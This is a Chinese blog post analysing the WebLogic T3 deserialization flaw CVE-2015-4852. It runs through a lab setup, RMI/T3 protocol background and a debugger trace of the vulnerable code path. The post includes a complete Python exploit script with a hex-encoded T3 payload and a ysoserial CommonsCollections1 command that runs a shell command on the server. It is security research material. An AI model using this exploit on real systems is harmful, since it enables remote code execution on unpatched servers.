weblogic之cve-2015-4852


前言

有時間打算分析weblogic歷史漏洞,但是又要面試啥的,沒空。又剛好最近面試會問weblogic反序列化。具體啥時候分析weblogic反序列化,可能會在護網后,或者我開學了再分析。期間可能我會分析一下fastjson的吧。環境我都打包到附件中

0x01、環境搭建

不想動手去下載的,可以去網盤這邊,我已經打包好了
鏈接:https://pan.baidu.com/s/1bOo82tAIC0ia95Z0nKQp5w
提取碼:1234
復制這段內容后打開百度網盤手機App,操作更方便哦

漏洞環境:https://github.com/QAX-A-Team/WeblogicEnvironment

jdk:https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html

weblogic:

鏈接:https://pan.baidu.com/s/1I3FUCkuD7lfwdEFo1Yg5hQ
提取碼:ungx

docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .

docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21

然后在這里需要去將一些weblogic的依賴Jar包給導出來進行遠程調試

docker exec -it weblogic1036jdk7u21 /bin/bash
cd /u01/app/oracle/
cp -r middleware/ /root/WeblogicEnvironment-master/
也可以使用如下命令
docker cp 363:/root .
mkdir jar_lib
find ./ -name *.jar -exec cp {} jar_lib/ \;

這邊就導出成功了

0x02、Weblogic遠程調試

第一步

修改docker-compose.yml文件,開啟8453端口

第二步

cd u01/app/oracle/Domains/ExampleSilentWTDomain/bin/
vi setDomainEnv.sh 

添加兩行代碼

debugFlag="true"

export debugFlag 

這個環境是默認就有了,所以這邊只是講一下

最后差不多就這樣了,還有其他地方就參考網上文章,我就不一一講解了

docker exec -it weblogic1036jdk7u21 /bin/bash //進入docker

地址為:http://192.168.92.130:7001/console/login/LoginForm.jsp

0x03、RMI通信

在了解RMI前還需要弄懂一些概念。

RMI(RemoteMethodInvocation,遠程方法調用)是用Java在JDK1.2中實現的,它大大增強了Java開發分布式應用的能力。

Java本身對RMI規范的實現默認使用的是JRMP協議,也可以選擇IIOP協議。而在Weblogic中對RMI規范的實現使用T3協議。

JRMP:JavaRemoteMessageProtocol,Java遠程消息交換協議。這是運行在Java RMI之下、TCP/IP之上的線路層協議。該協議要求服務端與客戶端都為Java編寫,就像HTTP協議一樣,規定了客戶端和服務端通信要滿足的規范。

RMI(Remote Method Invocation)即Java遠程方法調用,RMI用於構建分布式應用程序,RMI實現了Java程序之間跨JVM的遠程通信。顧名思義,遠程方法調用:客戶端比如說是在手機,然后服務端是在電腦;同時都有java環境,然后我要在手機端調用服務端那邊的某個方法,這就是,遠程方法調用;

​ 使用RMI的時候,客戶端對遠程方法的調用就跟對同一個Java虛擬機(也就是本地)上的方法調用是一樣的。一般調用和RMI調用有一點不同,雖然對客戶端來說看起來像是本地的,但是客戶端的stub會通過網絡發出調用,所以會拋出異常;其中還是會涉及到Socket和串流的問題,一開始是本地調用,然后就代理(stub)會轉成遠程,中間的信息是如何從Java虛擬機發送到另外一台Java虛擬機要看客戶端和服務端的輔助設施對象所用的協議而定;使用RMI的時候,需要選擇協議:JRMP或IIOP協議;JRMP是RMI的原生的協議,也就是默認JRMP協議。而IIOP是為了CORBA而產生的~~~

遠程方法調用,具體怎么實現呢?

遠程服務器提供具體的類和方法,本地會通過某種方式獲得遠程類的一個代理,然后通過這個代理調用遠程對象的方法,方法的參數是通過序列化與反序列化的方式傳遞的,所以,

1. 只要服務端的對象提供了一個方法,這個方法接收的是一個Object類型的參數
2. 且遠程服務器的classpath中存在可利用pop鏈,那么我們就可以通過在客戶端調用這個方法,並傳遞一個精心構造的對象的方式來攻擊rmi服務。

某種方式獲得遠程對象的代理,那么具體是怎么的實現機制呢?RMI模式中除了有Client與Server,還借助了一個Registry(注冊中心)。

其中Server與Registry可以在同一服務器上實現,也可以布置在不同服務器上,現在一個完整的RMI流程可以大概描述為:

  1. Registry先啟動,並監聽一個端口,一般為1099
  2. Server向Registry注冊遠程對象
  3. Client從Registry獲得遠程對象的代理(這個代理知道遠程對象的在網絡中的具體位置:ip、端口、標識符),然后Client通過這個代理調用遠程方法,Server也是有一個代理的,Server端的代理會收到Client端的調用的方法、參數等,然后代理執行對應方法,並將結果通過網絡返回給Client。

直接看圖,話不多說

RMI調用遠程方法的大致如下:

  1. RMI客戶端在調用遠程方法時會先創建Stub(sun.rmi.registry.RegistryImpl_Stub)
  2. Stub會將Remote對象傳遞給遠程引用層(java.rmi.server.RemoteRef)並創建java.rmi.server.RemoteCall(遠程調用)對象。
  3. RemoteCall序列化RMI服務名稱Remote對象。
  4. RMI客戶端遠程引用層傳輸RemoteCall序列化后的請求信息通過Socket連接的方式傳輸到RMI服務端遠程引用層
  5. RMI服務端遠程引用層(sun.rmi.server.UnicastServerRef)收到請求會請求傳遞給Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)
  6. Skeleton調用RemoteCall反序列化RMI客戶端傳過來的序列化。
  7. Skeleton處理客戶端請求:bindlistlookuprebindunbind,如果是lookup則查找RMI服務名綁定的接口對象,序列化該對象並通過RemoteCall傳輸到客戶端。
  8. RMI客戶端反序列化服務端結果,獲取遠程對象的引用。

而更通俗點來說:

1. 客戶端請求代理
2. Stub編碼處理消息
3. 消息傳輸
4. 到達管家skeleton並處理信息
5. 管家skeleton把信息提交給server
6. server接收到請求
7. server把請求的結果給管家
8. 管家skeleton把結果轉交給stub
9. 代理Stub對結果解碼
10. Stub把解碼的結果交給client。

具體可以參考該文章RMI由淺入深(一),那么我們知道了什么是RMI通信。RMI就是對服務器上的方法進行調用。那么weblogic上的RMI呢,在此處的cve-2015-4852是基於RMI T3協議反序列化導致的漏洞。兩者有什么區別嗎?

兩者其實是一樣的。只是weblogic這邊的rmi通信用T3協議,只是優化了java rmi。T3傳輸協議是WebLogic的自有協議,Weblogic RMI就是通過T3協議傳輸的(可以理解為序列化的數據載體是T3)。

Java RMI默認使用的專有傳輸協議(或者也可以叫做默認協議)是JRMP,Weblogic RMI默認使用的傳輸協議是T3。T3協議對序列化的過程,包括一些特性,心臟跳動等等,進行了一些列優化,並且對rmi客戶端量進行了增加等等

0x04、從歷史長河探究cve-2015-4852

摘取一張圖,具體從哪里拿的,我也給忘記了,翻閱了太多文章了。可以看出這個cve-2015-4852是這些的祖宗。那我們從這個祖宗開始分析。從漏洞類型這邊看,我們知道這個是T3反序列化漏洞,也就是說,是因為T3協議,從而導致的反序列化漏洞;那我們無可避免的去看看T3協議是什么東西

1、T3協議概述

WebLogic Server 中的 RMI 通信使用 T3 協議在 WebLogic Server 和其他 Java 程序(包括客戶端及其他 WebLogic Server 實例)間傳輸數據。同時T3協議包括

  1. 請求包頭
  2. 請求主體

因此,在T3數據包構造過程中,需要發送兩部分的數據。

我們通過部署好的環境,以及現成的payload,去看看這個協議包情況

2、T3協議

t3 12.2.1
AS:255
HL:19
MS:10000000
PU:t3://us-l-breens:7001

可以看出這是它的請求頭。,本文測試時發送的T3協議頭為

t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n
第一行為“t3”加weblogic客戶端的版本號。

weblogic服務器的返回數據為

HELO:10.3.6.0.false\nAS:2048\nHL:19\n\n
第一行為“HELO:”加weblogic服務器的版本號

weblogic客戶端與服務器發送的數據均以“\n\n”結尾。

可能會問這個地方和其他地方的T3協議怎么不一樣?因為我用的exp中,它是偽造自定義了請求包的。可參考文章

也就是說,如何判斷對方是否使用T3協議等等,可以對服務器進行發包,發送請求頭,對方則會返回weblogic服務器版本

3、T3攻擊方式

  • 第一種:將weblogic發送的java序列化數據的地2到第7部分的反序列化數據進行替換

  • 第二種:將weblogic發送的JAVA序列化數據的第一部分與惡意的序列化數據進行拼接。也就是替換第一部分的數據

以上來自網上文獻:http://drops.xmd5.com/static/drops/web-13470.html

那么我們就來驗證一下,由於我此處是現成exp,所以進行替換序列化數據進行攻擊的時候,可能數量不一樣

也就是說,我們的發送的T3協議,可以簡單的理解為兩部分:非序列化數據,和序列化數據。而序列化部分又以ac ed繼續進行划分

0x05、cve-2015-4852 分析

現在我們理論概念了解的差不多了,我們這邊就驗證一下序列化內容是否跟我們猜想的一致

python exp代碼:

#!/usr/bin/python 
import socket
import struct
import sys

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
server_address = (sys.argv[1], int(sys.argv[2])) 
print 'connecting to %s port %s' % server_address 
sock.connect(server_address) 

# Send headers 
headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n' 
print 'sending "%s"' % headers 
sock.sendall(headers) 

data = sock.recv(1024) 
print >>sys.stderr, 'received "%s"' % data 
payloadObj = open(sys.argv[3],'rb').read() 

payload='\x00\x00\x09\xe4\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00' 
payload=payload+payloadObj 
payload=payload+'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78' 
print 'sending payload...' 
payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:]) 

#print len(payload) 

outf = open('pay.tmp','w') 
outf.write(payload) 
outf.close() 
sock.send(payload)

yso生成惡意代碼:

java -jar ysoserial.jar CommonsCollections1 "touch /file/22222.txt" > payload.tmp

python

python2 exp.py 192.168.92.130 7001 payload.tmp

根據補丁位置,是在這幾個地方進行添加判斷,那我們直接在InboundMsgAbbrev#readObject()下斷點。因為要rce的話必須要readObject()進行反序列化

wlthint3client.jar:weblogic.rjvm.InboundMsgAbbrev
wlthint3client.jar:weblogic.rjvm.MsgAbbrevInputStream
weblogic.jar:weblogic.iiop.Utils

我們在InboundMsgAbbrev類中,Ctrl+f查找readObject,然后在此處下斷點。

然后使用exp去發送惡意請求,然后我們去看看斷點位置

可以看出這邊var1里面存儲的是我們請求的內容,然后調用read()方法,賦值給var2.

我們進入read()看看是什么東西

這邊為-1,所以會調用父類的read()方法,那么我們看看這個類繼承了什么父類

所以我們知道它會跳到ChunkedDataInputStream#read()方法中。我們F7跟進去查看

這邊我們可以思考是不是這些序列化數據的大小呢?

img

img

因為是false,所以直接跳過這個條件,進入了return;

然后返回給了var2中

此處通過switch對var2值進行判斷,此處為0,所以進入了第一個條件語句

return (new InboundMsgAbbrev.ServerChannelInputStream(var1)).readObject();

那么我們先進入InboundMsgAbbrev#ServerChannelInputStream()中查看虛實

進入后,繼續深入getServerChannel()

this.connection之中存儲着一些連接的數據,如地址,端口等等,然后調用getChannel(),這邊是處理T3協議的socket地方;我們F7跟進查看

我們進入之后可以看到還有靜態代碼塊,而這靜態代碼塊則是服務器返回過來的版本,我們繼續看看

隨后會return 回這串地址,端口信息。我們再f8返回

我們跳了三層,返回到之前的路口點,那么接下來我們就是進入InboundMsgAbbrev#readObject()

此處我們跳到了read()當中,因為前面的不重要,我們也不需要深究了

這邊再次進入到父類中的read()方法中,我們依舊進入到了ChunkedInputStream# read(),該方法主要是讀取head數據也就是我們發送的包

隨后繼續返回到了上一步

幾次的F7和F8后,進入了read(byte[] var1, int var2, int var3)

因為條件不成立,所以繼續進入return當中,我們F7跟進

往后執行,可以發現這幾個方法是對數據流進行分塊處理,將序列化部分分塊,依次解析每塊的類,然后去執行

我們直接在InboundMsgAbbrev#resolveClass()方法下個斷點,而此處,也就是打補丁的地方,此處打上補丁,從而出現了cve-2016-0638;這是后話。而我們看到了AnnotationInvocationHandler。這不就是CC1中的反序列化入口點嗎,我們進入看看

可以看到一個很有意思的地方,那就是Class.forname(),通過反射獲取加載指定的類。

而這之后執行,我們可以發現這些獲取的都是CC1利用鏈中所需要的類。這就很有意思了~~

F9不斷的執行結束后可以發現,這邊創建了該文件。那么我們重新發包一下,直到遇到java.lang.Override不按F9了。我們直接F7一步步慢慢的看

我們可以看到這不就是CC1鏈中的觸發方法嗎??這里就很佩服大佬們了

0x05 漏洞原理與總結

從入口點開始weblogic.rjvm.InboundMsgAbbrev#readObject方法開始。通過read()方法,讀取T3數據流的序列化部分依次分塊解析類。InboundMsgAbbrev#resolveClass()內部使用Class.forName來從類序列化獲取到對應類的一個Class的對象。進行相對應的點實例化並讀取了AnnotationInvocationHandler觸發了此處CC1的利用鏈。最后在AbstractMapDecorator#entrySet()方法觸發,達到了rce目的。此漏洞之后有必要再看看,咳咳


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2026 CODEPRJ.COM